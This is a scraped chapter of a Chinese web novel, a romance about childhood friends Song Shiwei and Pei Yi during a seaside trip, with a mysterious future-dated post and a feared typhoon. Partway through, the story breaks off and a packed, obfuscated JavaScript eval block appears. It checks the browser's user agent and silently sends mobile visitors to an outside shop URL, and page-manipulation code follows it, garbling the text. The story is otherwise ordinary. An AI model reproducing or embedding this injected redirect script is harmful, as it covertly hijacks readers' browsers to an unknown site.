文趣网 > 都市小说 > 吾之妻萌萌乎? > 6. 海岛
    宋时微盯着屏幕。

    【在那个台风肆虐的小岛上,我第一次亲吻他。】

    亲吻……他?

    谁?

    裴逸这家伙还想亲谁?

    总不能是我吧?

    宋时微被这个念头吓了一大跳,连忙摁熄了屏幕。

    窗帘缝隙透出一束光漫在手背上,宋时微的一边瞳孔也被映亮,他眉心微蹙,捏着手机的手指无意识收紧。

    几秒后,他把手机关机重启。

    重新的启动后的手机所有功能全部正常,只有裴逸的那条帖子依旧顽强。

    那条显示回复时间于七年后的评论还在原处,孤零零躺在空旷的评论区,没有前因后果,没有具体指代,就这么荒诞地遗留了下来。

    宋时微脸色发白。

    他和裴逸怎么能亲嘴呢?他们从小一起长大,认识快二十年,他摸裴逸的手就像左手摸右手。

    他们怎么能亲嘴呢?

    这太吓人了。

    再看向屏幕时,宋时微甚至把手机拿远了些,仿佛在躲避什么病毒,用两根手指捏着,扔到了床头柜上。

    这手机有问题,这手机一定有问题。

    多半是中了什么病毒,睡一觉应该就好了。

    宋时微侧躺下来,看着窗帘缝隙里那一窄条深蓝的天,天色和海面交融在一处,看不清界限。

    他眨眨眼,困意压了下来。

    不知道睡了多久,迷迷糊糊间,房间里光线变了。

    天光已然大亮,透过窗帘映出朦胧的暖橙色调,裴逸蹲在床边,一只手搭在床沿上,一手轻轻玩着宋时微的头发。

    距离很近,宋时微最先看见的是裴逸的下颌和嘴唇。

    朦胧的光晕里,裴逸五官轮廓深刻分明,高挺的鼻梁下是稍薄的嘴唇,唇形其实很性感。

    宋时微脑子里嗡的一声,亲嘴儿魔咒响了起来。

    “醒了?”

    裴逸声音放得很轻,松开把玩他发丝的手指,将那撮略显凌乱的头发压了回去。

    宋时微眨了两下眼,视线慢慢聚拢,回过神后立刻往后缩了一下,后脑勺撞在床头板上。

    咚!

    “慢点。”裴逸的手立刻伸过来,垫在他后脑和木板之间。

    宋时微吃痛捂住头,眼睛又花了。

    裴逸掌心贴着他的头发,有点热,宋时微能感觉到对方轻轻在他后脑轻轻揉着。

    “做噩梦了?”裴逸语气有些无奈。

    宋时微没说话,垂头缓过那一阵闷痛,心道这可比做噩梦还吓人。

    他就着这个姿势坐了一会儿,裴逸拇指按在他太阳穴上:“还疼吗?”

    宋时微摇头,脑子里一片茫然的空白。

    他觉得自己睡了很久,拿起手机一看,竟然只过去半个小时。

    “你做好饭了?”宋时微问。

    “厨房里没什么食材,做了个鸡蛋培根吐司,”裴逸说:“将就吃一点吧。”

    “挺好的。”

    宋时微撑着裴逸的胳膊坐起来,脑袋猛地一阵发晕,眼前黑了,哗啦啦冒着雪花点。

    裴逸的手从后脑滑到宋时微肩膀上,稳稳地扶住他,隔着薄薄的睡衣,小臂滚烫的温度贴了上来。

    宋时微在空调房里睡得手脚冰凉,冷不丁被一团火抱住,猛地打了个激灵。

    “你也太燥了。”他叹了口气。

    裴逸没急着松手,等了两秒,看宋时微稳住了,在他身边坐下来。

    “身体好没办法,脾气不燥就行,”他突然正经几分,环住宋时微:“你觉得呢,我脾气是不是还挺好?”

    宋时微诧异抬头,视线在他身上上下扫了扫,然后别过脸:“我觉得你脑子不好。”

    裴逸毫无羞耻心:“说点我不知道的。”

    宋时微:“……”

    他按了按太阳穴:“头晕。”

    “等着,”裴逸去倒了杯温水,回来时手里多了颗糖,“先喝点水,吃颗糖缓一下,然后咱们下去吃饭。”

    宋时微把糖抵在舌尖,想了想,朝裴逸伸出手:“你手机给我看看。”

    裴逸问也没问,直接从裤兜里掏出手机递过去。

    宋时微输密码解锁,点进裴逸社交账号的后台。

    帖子确实删了,最新一条是昨天新发的澄清,宋时微又翻了一遍浏览记录,什么东西都没找到。

    果然是自己的手机出bug了吗?他把手机还回去。

    裴逸接了揣回兜里,问他:“怎么了吗?”

    “没什么,”宋时微摇摇头,起身往楼下走:“我手机坏了。”

    “坏了?”裴逸跟上去:“怎么坏的,我买个新的叫跑腿送过来?”

    宋时微笑了笑:“不用,就有点小故障,影响不大,回去找个店修一下就行。”

    楼下姚乐阳坐在餐桌边,看见宋时微,冲他招了招手:“醒了?裴逸说你困了睡了一会儿。”

    他面前摆着一盘切好的芒果,拿叉子戳着吃,宋时微走过去也吃了一块。

    “哟,”姚乐阳戏谑地:“现在人也精神了,胃口也好了,这房间看来换对了?”

    宋时微没说话,扔去一个“你再多嘴试试的眼神”,拉开椅子坐了下来。

    裴逸把早餐从厨房里端出来放到宋时微面前,又往他右手边放了杯热牛奶,“尝尝看合不合胃口。”

    时间不早了,宋时微睡完一觉确实有点饿,以至于看上去普普通通的一份吐司,吃下来竟然有些惊艳。

    宋时微眼睛都睁大了些,有点不可置信地看向裴逸:“真是你做的?”

    裴逸又喂了他一口,眼底带笑:“看来是真的喜欢了,谢谢捧场。”

    “啧!”

    旁边的姚乐阳没忍住,端起果盘躲远了。

    年轻的时候时间总过得很快,一整个白天他们都在海边。

    退了潮的海滩露出细软的沙,宋时微和姚乐阳互相泼着水,渐渐的就将手机里那条莫名其妙的帖子抛在脑后。

    傍晚时分,一群人抬了干柴和木头到沙滩上,围了个圈生起火来。

    篝火窜起来,宋时微脸上流动着一层橘红色的光。

    他脖子和手臂被晒出了红疹,裴逸坐在他身边拿着药膏,用棉签蘸着一点点往他身上涂。

    姚乐阳递过来一串烤好的棉花糖,宋时微下意识就要放进嘴里,想了想,又先递给了裴逸。

    下午他没听裴逸的话,硬是和姚乐阳跑去踩水,最后浑身过敏肿着回来了,当时裴逸看他的眼神就特别不好。

    后来裴逸的话就少了,现在给他擦药都是冷着脸的。

    宋时微自知理亏,又学不会低头,犹豫半天,把棉花糖签子伸到裴逸面前。

    “喏。”他晃了晃。

    裴逸抬头,视线上下一扫,明白过来宋时微的意思后,不可思议地笑了声:“你喂狗呢?”

    宋时微脸色一僵:“那你是吃还是不吃?”

    言下之意台阶给你了,要不要下你自己看着办。

    裴逸笑得更张扬,篝火的影子在眉间跳跃,映得他目光像团灼热的火。

    宋时微

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730599|208942||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    偏头躲避了这种目光。

    裴逸就这么盯着他看了好一会儿,直到宋时微快撑不住了,他才低下头,就着宋时微的手咬掉了一颗棉花糖。

    宋时微下意识松了口气,感觉手心都出了层汗。

    他拿起签子要吃第二颗,手腕却被裴逸按住。

    “烫,”裴逸说:“放会儿再吃。”

    宋时微一怔,抬头看向裴逸。

    裴逸已经站了起来,拍掉裤腿上的沙,去帮忙搬来一筐啤酒分给其他人。

    宋时微坐在离火稍远一点的地方,腿蜷起来,下巴搁在膝盖上。

    风从海面吹过来,卷起跳跃的火光,宋时微盯着手里的棉花糖,等到它慢慢放凉,他轻轻咬下一口。

    裴逸分完酒回来,贴着宋时微身边坐下,给他带了盘刚烤好的肉串:“你过敏别喝酒了,吃点肉。”

    “我要吃牛肉。”宋时微说。

    “知道,”裴逸拿起一串喂他:“都是牛肉,我专门给你烤的,尝尝。”

    “各位都停一下啊,”篝火旁,徐明博招呼大家看过来:“咱们明早九点上岛,船8点50在码头等,大家辛苦早起一点,别迟到了。”

    “岛?”宋时微倏而抬头,条件反射一般:“什么岛?”

    徐明博愣了下:“就海上那个度假岛啊,计划和日程表我都发群里了,”他说着,佯怒道:“宋时微,你又不看群消息!”

    宋时微:“……”

    他理亏地低下头,比了个OK的手势,掏出手机打开“消息免打扰”的聊天群。

    徐明博果然在一个星期前就做好了旅行攻略,连岛上的路书都做了份电子版的,每一个地标详细清楚。

    宋时微和姚乐阳凑在一起看,欣喜地挑了挑眉:“这岛上还有个寺庙?”

    “对对对,”姚乐阳也想起来了:“听说求财求运特别灵!咱到时候也去拜一拜。”

    “行。”

    裴逸罕见地没有符合,他一言不发收起宋时微吃过的烧烤签,想了想,还是开口:“要不别去了吧?”

    徐明博正兴奋地畅享上岛后的美妙旅程,闻言不明所以:“怎么了,为什么?”

    “这两天有台风,”裴逸说:“岛上不安全。”

    “这事儿啊,”徐明博一听安心了:“你就放一万个心吧,你徐哥我做攻略能不看天气预报?”

    他把手机掏出来,点两下递到裴逸眼前:“你自己看,台风压根不经过咱们这儿,打老远就转弯了。”

    裴逸拿过手机,看了一会儿,眉心跳了下。

    “这下信了吧?”徐明博抽回手机。

    裴逸没应,神情凝重地垂着眼,手指无意识摩挲着。

    不应该啊,上辈子他们就是上岛后遇到了台风,被困在酒店里哪也去不了,多待了一个星期才返程。

    当时的台风直直朝这个城市过来,怎么这次转弯了?

    裴逸一时想不明白。

    肩膀被人撞了撞,裴逸回神,对上宋时微的眼睛。

    宋时微正托腮看着他。

    他身上涂的药膏还没散,脖子上红一块白一块,草药香混着咸腥的海风钻进裴逸鼻尖。

    海上夜空没有污染,星夜朗朗,银河从这头铺到那头,宋时微眼皮上浮着篝火跃动的光斑。

    “你不想去吗?”宋时微问他。

    裴逸眼神却只落在他开合的嘴唇上。

    宋时微的嘴唇也漂亮,淡淡的粉色,唇形丰润而饱满,唇珠悬坠,天生就是用来接吻的。

    裴逸曾经放肆亲吻过无数次。